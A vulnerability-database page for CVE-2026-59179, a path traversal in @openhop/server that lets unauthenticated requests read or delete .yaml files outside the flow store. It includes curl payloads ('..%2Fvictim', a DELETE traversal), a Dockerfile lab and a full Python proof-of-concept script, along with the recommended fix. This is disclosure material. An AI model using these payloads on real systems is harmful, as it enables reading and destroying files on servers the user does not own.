CVE-2026-59179

HIGHPre-NVD 8.38.3
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.3 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
8.3EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 8.3Exploit: None knownExposed services: Not assessed

A fix is available — apply it.

@openhop/server: Path Traversal in Flow ID File Operations

Path Traversal in Flow ID File Operations

Summary

@openhop/server passes unsanitized HTTP route parameters directly to path.join() when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary .yaml files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary .yaml files at any path reachable by the process. Because CORS is set to origin: true (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind HOST=0.0.0.0 by default, enabling direct remote exploitation. CVSS Base Score: 8.3 (High).

Details

FlowStore.filePath() in packages/server/src/store.ts:52–53 constructs a filesystem path by concatenating the caller-supplied id directly into path.join:

// packages/server/src/store.ts:52-53
private filePath(id: string): string {
  return join(this.dir, ${id}.yaml)
}

This result is consumed by two sinks:

  • Read (packages/server/src/store.ts:78): readFile(this.filePath(id), 'utf-8')
  • Delete (packages/server/src/store.ts:105): unlink(this.filePath(id))

The id value originates from unauthenticated Fastify HTTP route parameters:

  • GET /api/flows/:id (packages/server/src/routes.ts:306) → store.get(id) at line 333–335
  • DELETE /api/flows/:id (packages/server/src/routes.ts:509) → store.delete(id) at line 539–541

The route parameter schema at packages/server/src/routes.ts:315 and 519 declares only type: 'string' with no pattern constraint or allowlist. Fastify's underlying router (find-my-way) applies decodeURIComponent to route parameters, so the URL segment ..%2Fvictim is decoded to ../victim before it reaches application code. Node.js path.join('/data/flows', '../victim.yaml') then normalizes to /data/victim.yaml, escaping the configured data directory.

Additionally, packages/server/src/index.ts:37 registers CORS with origin: true, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.

Full data-flow (read path):

  • HTTP GET /api/flows/..%2Fvictim received (routes.ts:306)
  • find-my-way decodes ..%2Fvictim → req.params.id = '../victim' (routes.ts:333)
  • store.get('../victim') → filePath('../victim') → join('/data/flows', '../victim.yaml') → /data/victim.yaml (store.ts:52–53)
  • readFile('/data/victim.yaml', 'utf-8') returns file contents (store.ts:78)
  • Server responds HTTP 200 with YAML-parsed JSON body

Full data-flow (delete path):

  • HTTP DELETE /api/flows/..%2Fdelete-me received (routes.ts:509)
  • find-my-way decodes ..%2Fdelete-me → req.params.id = '../delete-me' (routes.ts:539)
  • store.delete('../delete-me') → filePath('../delete-me') → join('/data/flows', '../delete-me.yaml') → /data/delete-me.yaml (store.ts:52–53)
  • unlink('/data/delete-me.yaml') removes the file (store.ts:105)
  • Server responds HTTP 204

PoC

Environment setup (Docker):

# Build from repository root
docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .

Run with HOST=0.0.0.0 (default in the Dockerfile ENV)

docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001

The container creates /data/flows/ as the configured flow store (OPENHOP_DATA_DIR=/data/flows) and places /data/victim.yaml and /data/delete-me.yaml outside that directory as traversal targets.

Attack 1 — Read file outside flow store:

curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim'

Expected response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"}

Attack 2 — Delete file outside flow store:

curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me'

Expected response:

HTTP/1.1 204 No Content

Verify deletion:

docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted'

Output: deleted

Automated PoC script:

python3 poc.py 127.0.0.1 8799

Recommended fix:

--- a/packages/server/src/store.ts
+++ b/packages/server/src/store.ts
+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/
+
   private filePath(id: string): string {
+    if (!FLOW_ID_PATTERN.test(id)) {
+      throw new Error('Invalid flow id')
+    }
     return join(this.dir, ${id}.yaml)
   }

Impact

This is a Path Traversal (CWE-22) vulnerability. The .yaml file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any .yaml file the process can reach (I:H, A:H).

Affected parties:

  • Users running openhop serve locally — exploitable via a malicious webpage due to cors({ origin: true }) allowing all browser origins to make cross-origin requests to localhost:8799.
  • Docker/server deployments — HOST=0.0.0.0 is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.

An attacker can: (1) read the contents of any .yaml file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any .yaml file accessible to the process, causing data loss or disruption of services that depend on those files.

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
#

Build context: the repository root (naorsabag/openhop)

Usage:

docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .

docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001

#

Data layout inside the container:

/data/flows/ <- OPENHOP_DATA_DIR (the configured flow store)

/data/victim.yaml <- OUTSIDE the flow store (path traversal read target)

/data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target)

#

The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim",

so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml.

FROM node:22-alpine

WORKDIR /app

Copy package manifests so npm can resolve workspace dependency graph.

COPY package*.json ./ COPY packages/server/package*.json packages/server/ COPY packages/shared/package*.json packages/shared/ COPY packages/cli/package*.json packages/cli/ COPY packages/web/package*.json packages/web/

Copy TypeScript configs and source files BEFORE npm install.

The @openhop/server package has a "prepare" lifecycle that runs

tsc && esbuild during npm install, so all sources must be present.

COPY tsconfig.base.json ./ COPY packages/server/tsconfig*.json packages/server/ COPY packages/server/src/ packages/server/src/ COPY packages/shared/src/ packages/shared/src/

Install all workspace dependencies.

The @openhop/server prepare script will compile to dist/server.js.

We run the server via tsx (direct TypeScript), so the compiled output

is not required at runtime but the prepare step must not fail.

RUN npm install

Set up the data directory layout for the PoC.

/data/flows/ -> configured as OPENHOP_DATA_DIR (the "safe" directory)

/data/victim.yaml -> outside the store; represents a sensitive file that

MUST NOT be reachable via the API without sanitization

RUN mkdir -p /data/flows && \ printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: SECRET_OUTSIDE_FILE\n description: This file lives outside the configured flow store directory\n flow:\n nodes:\n - id: a\n label: Sensitive Data\n' \ > /data/victim.yaml && \ printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: DELETE_TARGET_FILE\n flow:\n nodes:\n - id: b\n label: Delete Target\n' \ > /data/delete-me.yaml

Server listens on 8799 inside the container.

EXPOSE 8799

OPENHOP_DATA_DIR constrains the flow store to /data/flows/.

HOST=0.0.0.0 makes the server reachable from outside the container.

ENV OPENHOP_DATA_DIR=/data/flows ENV HOST=0.0.0.0 ENV PORT=8799

Run the server via tsx (TypeScript runner; no compile step needed at runtime).

CMD ["npx", "tsx", "packages/server/src/index.ts"]

poc.py

#!/usr/bin/env python3
"""
PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
Target: @openhop/server 0.3.5 / openhop CLI 0.3.6
VULN-001 — CVSS 8.3 High

Vulnerability: FlowStore.filePath(id) at packages/server/src/store.ts:52 performs: return join(this.dir, ${id}.yaml) with no sanitization on id. The route GET /api/flows/:id passes req.params.id (decoded by find-my-way via decodeURIComponent) directly to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in the URL is decoded to "../victim", causing path.join to escape the configured data directory.

Attack Vectors: READ: GET /api/flows/..%2Fvictim -> reads /data/victim.yaml DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml

Both routes are unauthenticated (routes.ts:306, 509).

Usage: python3 poc.py [host] [port] python3 poc.py 127.0.0.1 8799 """

import http.client import json import sys import time

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799

URL-encoded payloads: %2F is a percent-encoded "/" character.

find-my-way treats ".." and "%2F" together as a single path segment

(no literal "/" split), then decodes the segment to "../victim".

TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim" TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me"

def wait_for_server(host: str, port: int, timeout: int = 60) -> bool: """Poll until the OpenHop server returns any response on /api/flows.""" deadline = time.time() + timeout print(f"[*] Waiting for server at http://{host}:{port} ...") while time.time() < deadline: try: conn = http.client.HTTPConnection(host, port, timeout=2) conn.request("GET", "/api/flows") r = conn.getresponse() r.read() conn.close() print(f"[+] Server ready (HTTP {r.status} on /api/flows)") return True except Exception: time.sleep(1) return False

def raw_http(method: str, host: str, port: int, path: str): """ Send an HTTP request with the path exactly as given — no normalization. http.client does NOT percent-decode or normalize the path string, so '..%2F' reaches the server verbatim and Fastify's router decodes it. """ conn = http.client.HTTPConnection(host, port, timeout=10) conn.request(method, path) resp = conn.getresponse() body = resp.read() conn.close() return resp.status, body

def main() -> int: print("=" * 62) print("VULN-001 Path Traversal in OpenHop Flow ID File Operations") print("=" * 62) print(f"[*] Target : http://{HOST}:{PORT}") print(f"[*] Payload : ..%2F (decoded by find-my-way to ../)") print(f"[*] Store : /data/flows/ (OPENHOP_DATA_DIR)") print(f"[*] Outside : /data/victim.yaml /data/delete-me.yaml") print()

if not wait_for_server(HOST, PORT): print("[-] Server did not become ready within timeout. ABORT.") return 1

print() passed_read = False passed_delete = False

# ── Attack 1: Read a file outside the configured flow store ───────── print("[*] Attack 1 — READ path traversal") print(f" Request : GET {TRAVERSAL_GET_PATH}") print(f" Decoded : id = ../victim") print(f" Resolves: path.join('/data/flows', '../victim.yaml')") print(f" = /data/victim.yaml (outside flow store)")

status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH) body_text = body.decode("utf-8", errors="replace")

print(f" Status : {status}") print(f" Body : {body_text[:600]}")

if status == 200: try: data = json.loads(body_text) title = data.get("meta", {}).get("title", "") if "SECRET_OUTSIDE_FILE" in title: print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml") print(f" Leaked title field = {title!r}") passed_read = True else: print(f"[WARN] HTTP 200 but unexpected title: {title!r}") print(f" Full response: {data}") # Still count as read-traversal success if we got a valid flow back if "meta" in data or "flow" in data: print("[PASS] READ confirmed: path traversal returned a flow from outside store") passed_read = True except json.JSONDecodeError: print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}") else: print(f"[FAIL] Expected HTTP 200, got {status}")

print()

# ── Attack 2: Delete a file outside the configured flow store ──────── print("[*] Attack 2 — DELETE path traversal") print(f" Request : DELETE {TRAVERSAL_DELETE_PATH}") print(f" Decoded : id = ../delete-me") print(f" Resolves: path.join('/data/flows', '../delete-me.yaml')") print(f" = /data/delete-me.yaml (outside flow store)")

status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH) body_text = body.decode("utf-8", errors="replace")

print(f" Status : {status}") if body_text: print(f" Body : {body_text[:200]}")

if status in (200, 204): print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store") passed_delete = True else: print(f"[FAIL] Expected HTTP 204, got {status}")

# ── Summary ───────────────────────────────────────────────────────── print() print("=" * 62) if passed_read and passed_delete: print("[RESULT] PASS — Both read and delete path traversal exploited") return 0 elif passed_read: print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed") return 1 else: print("[RESULT] FAIL — Exploit did not succeed") return 2

if __name__ == "__main__": sys.exit(main())

CVSS v3
8.3
EG Score
8.3HIGHlow confidence
EG Risk
42
EG Risk 42/100CISA SSVC

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity83% × 45%
Exploitation0% × 40%
Automatability30% × 15%
CISA SSVC: Track at low or medium mission impact; Track or Attend at high (mission-essential systems).
Action: A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

CISA SSVCTrack at low or medium mission impact; Track or Attend at high (mission-essential systems).

A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.

Exploitation none (no KEV listing, exploit record or EPSS ≥ 50%) · Automatable unknown (not published for this CVE) · Technical impact partial (CVSS below 9.0). Mission impact is CISA's Mission & Well-being decision point, and only you can judge it: high means the affected system is essential to your organisation's mission, or its compromise could cause irreversible harm to people. CISA's decision table

Published

September 9, 2026

Last Modified

September 9, 2026

Vendor Advisories for CVE-2026-59179(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
npm(1)
PackageVulnerable rangeFix by version rangeDependents
@openhop/server—
  • every version up to 0.3.6: fixed in 0.3.6
—

Data Freshness Timeline

(refreshed 0× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-09-28 23:42 UTCEG score recompute
  2. 2026-09-10 00:24 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-59179?
CVE-2026-59179 is a high vulnerability published on September 9, 2026. @openhop/server: Path Traversal in Flow ID File Operations Path Traversal in Flow ID File Operations Summary @openhop/server passes unsanitized HTTP route parameters directly to path.join() when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server…
When was CVE-2026-59179 disclosed?
CVE-2026-59179 was first published on September 9, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-59179?
CVE-2026-59179 has a CVSS base score of 8.3 (the CNA's own assessment, by github_m; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-59179?
A fix for CVE-2026-59179 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2026-59179 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-59179

Explore →

Is Your Infrastructure Affected by CVE-2026-59179?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.